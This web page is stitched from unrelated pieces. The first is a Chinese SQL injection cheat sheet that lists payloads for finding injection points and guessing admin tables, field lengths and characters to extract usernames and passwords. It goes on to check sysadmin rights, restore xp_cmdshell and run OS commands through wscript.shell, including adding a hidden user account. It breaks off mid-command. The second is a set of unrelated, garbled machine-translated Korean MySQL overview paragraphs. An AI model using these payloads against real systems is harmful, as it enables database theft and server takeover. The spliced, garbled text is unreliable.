常用SQL注射语句解析_MySQL
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SQL注射语句
1.判断有无注入点
' ; and 1=1 and 1=2
2.猜表一般的表的名称无非是admin adminuser user pass password 等..
and 0(select count(*) from *)
and 0(select count(*) from admin) ---判断是否存在admin这张表
3.猜帐号数目 如果遇到0
and 0
and 1
4.猜解字段名称 在len( ) 括号里面加上我们想到的字段名称。
and 1=(select count(*) from admin where len(*)>0)--
and 1=(select count(*) from admin where len(用户字段名称name)>0)
and 1=(select count(*) from admin where len(密码字段名称password)>0)
5.猜解各个字段的长度 猜解长度就是把>0变换 直到返回正确页面为止
and 1=(select count(*) from admin where len(*)>0)
and 1=(select count(*) from admin where len(name)>6) 错误
and 1=(select count(*) from admin where len(name)>5) 正确 长度是6
and 1=(select count(*) from admin where len(name)=6) 正确
and 1=(select count(*) from admin where len(password)>11) 正确
and 1=(select count(*) from admin where len(password)>12) 错误 长度是12
and 1=(select count(*) from admin where len(password)=12) 正确
6.猜解字符
and 1=(select count(*) from admin where left(name,1)='a') ---猜解用户帐号的第一位
and 1=(select count(*) from admin where left(name,2)='ab')---猜解用户帐号的第二位
就这样一次加一个字符这样猜,猜到够你刚才猜出来的多少位了就对了,帐号就算出来了
and 1=(select top 1 count(*) from Admin where Asc(mid(pass,5,1))=51) --
这个查询语句可以猜解中文的用户和密码.只要把后面的数字换成中文的ASSIC码就OK.最后把结果再转换成字符.
看服务器打的补丁=出错了打了SP4补丁
and 1=(select @@VERSION)--
看数据库连接账号的权限,返回正常,证明是服务器角色sysadmin权限。
and 1=(Select IS_SRVROLEMEMBER('sysadmin'))--
判断连接数据库帐号。(采用SA账号连接 返回正常=证明了连接账号是SA)
and 'sa'=(Select System_user)--
and user_name()='dbo'--
and 0(select user_name()--
看xp_cmdshell是否删除
and 1=(Select count(*) FROM master.dbo.sysobjects Where xtype = 'X' AND
name = 'xp_cmdshell')--
xp_cmdshell被删除,恢复,支持绝对路径的恢复
;EXEC master.dbo.sp_addextendedproc 'xp_cmdshell','xplog70.dll'--
;EXEC master.dbo.sp_addextendedproc
'xp_cmdshell','c:/inetpub/wwwroot/xplog70.dll'--
反向PING自己实验
;use master;declare @s int;exec sp_oacreate "wscript.shell",@s out;exec
sp_oamethod @s,"run",NULL,"cmd.exe /c ping 192.168.0.1";--
加帐号
;DECLARE @shell INT EXEC SP_OACreate 'wscript.shell',@shell OUTPUT EXEC
SP_OAMETHOD @shell,'run',null, 'C:/WINNT/system32/cmd.exe /c net user
jiaoniang$ 1866574 /add'--
创建一个虚拟目录E盘:
;declare @o int exec sp_oacreate 'wscript.shell', @o out exec sp_oamethod
@o, 'run', NULL,' cscript.exe c:/inetpub/wwwroot/mkwebdir.vbs -
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웹 응용 프로그램에서 MySQL의 주요 역할은 데이터를 저장하고 관리하는 것입니다. 1. MySQL은 사용자 정보, 제품 카탈로그, 트랜잭션 레코드 및 기타 데이터를 효율적으로 처리합니다. 2. SQL 쿼리를 통해 개발자는 데이터베이스에서 정보를 추출하여 동적 컨텐츠를 생성 할 수 있습니다. 3.mysql은 클라이언트-서버 모델을 기반으로 작동하여 허용 가능한 쿼리 속도를 보장합니다.

InnoDB는 Redologs 및 Undologs를 사용하여 데이터 일관성과 신뢰성을 보장합니다. 1. Redologs는 사고 복구 및 거래 지속성을 보장하기 위해 데이터 페이지 수정을 기록합니다. 2. 결점은 원래 데이터 값을 기록하고 트랜잭션 롤백 및 MVCC를 지원합니다.

다른 프로그래밍 언어와 비교할 때 MySQL은 주로 데이터를 저장하고 관리하는 데 사용되는 반면 Python, Java 및 C와 같은 다른 언어는 논리적 처리 및 응용 프로그램 개발에 사용됩니다. MySQL은 데이터 관리 요구에 적합한 고성능, 확장 성 및 크로스 플랫폼 지원으로 유명하며 다른 언어는 데이터 분석, 엔터프라이즈 애플리케이션 및 시스템 프로그래밍과 같은 해당 분야에서 이점이 있습니다.

MySQL Index Cardinality는 쿼리 성능에 중대한 영향을 미칩니다. 1. 높은 카디널리티 인덱스는 데이터 범위를보다 효과적으로 좁히고 쿼리 효율성을 향상시킬 수 있습니다. 2. 낮은 카디널리티 인덱스는 전체 테이블 스캔으로 이어질 수 있으며 쿼리 성능을 줄일 수 있습니다. 3. 관절 지수에서는 쿼리를 최적화하기 위해 높은 카디널리티 시퀀스를 앞에 놓아야합니다.

MySQL의 기본 작업에는 데이터베이스, 테이블 작성 및 SQL을 사용하여 데이터에서 CRUD 작업을 수행하는 것이 포함됩니다. 1. 데이터베이스 생성 : createAbasemy_first_db; 2. 테이블 만들기 : CreateTableBooks (idintauto_incrementprimarykey, titlevarchar (100) notnull, authorvarchar (100) notnull, published_yearint); 3. 데이터 삽입 : InsertIntobooks (Title, Author, Published_year) VA

MySQL은 웹 응용 프로그램 및 컨텐츠 관리 시스템에 적합하며 오픈 소스, 고성능 및 사용 편의성에 인기가 있습니다. 1) PostgreSQL과 비교하여 MySQL은 간단한 쿼리 및 높은 동시 읽기 작업에서 더 잘 수행합니다. 2) Oracle과 비교할 때 MySQL은 오픈 소스와 저렴한 비용으로 인해 중소 기업에서 더 인기가 있습니다. 3) Microsoft SQL Server와 비교하여 MySQL은 크로스 플랫폼 응용 프로그램에 더 적합합니다. 4) MongoDB와 달리 MySQL은 구조화 된 데이터 및 트랜잭션 처리에 더 적합합니다.

innodbbufferpool은 데이터와 인덱싱 페이지를 캐싱하여 디스크 I/O를 줄여 데이터베이스 성능을 향상시킵니다. 작업 원칙에는 다음이 포함됩니다. 1. 데이터 읽기 : BufferPool의 데이터 읽기; 2. 데이터 작성 : 데이터 수정 후 BufferPool에 쓰고 정기적으로 디스크로 새로 고치십시오. 3. 캐시 관리 : LRU 알고리즘을 사용하여 캐시 페이지를 관리합니다. 4. 읽기 메커니즘 : 인접한 데이터 페이지를 미리로드합니다. Bufferpool을 크기를 조정하고 여러 인스턴스를 사용하여 데이터베이스 성능을 최적화 할 수 있습니다.

MySQL은 테이블 구조 및 SQL 쿼리를 통해 구조화 된 데이터를 효율적으로 관리하고 외래 키를 통해 테이블 간 관계를 구현합니다. 1. 테이블을 만들 때 데이터 형식을 정의하고 입력하십시오. 2. 외래 키를 사용하여 테이블 간의 관계를 설정하십시오. 3. 인덱싱 및 쿼리 최적화를 통해 성능을 향상시킵니다. 4. 데이터 보안 및 성능 최적화를 보장하기 위해 데이터베이스를 정기적으로 백업 및 모니터링합니다.
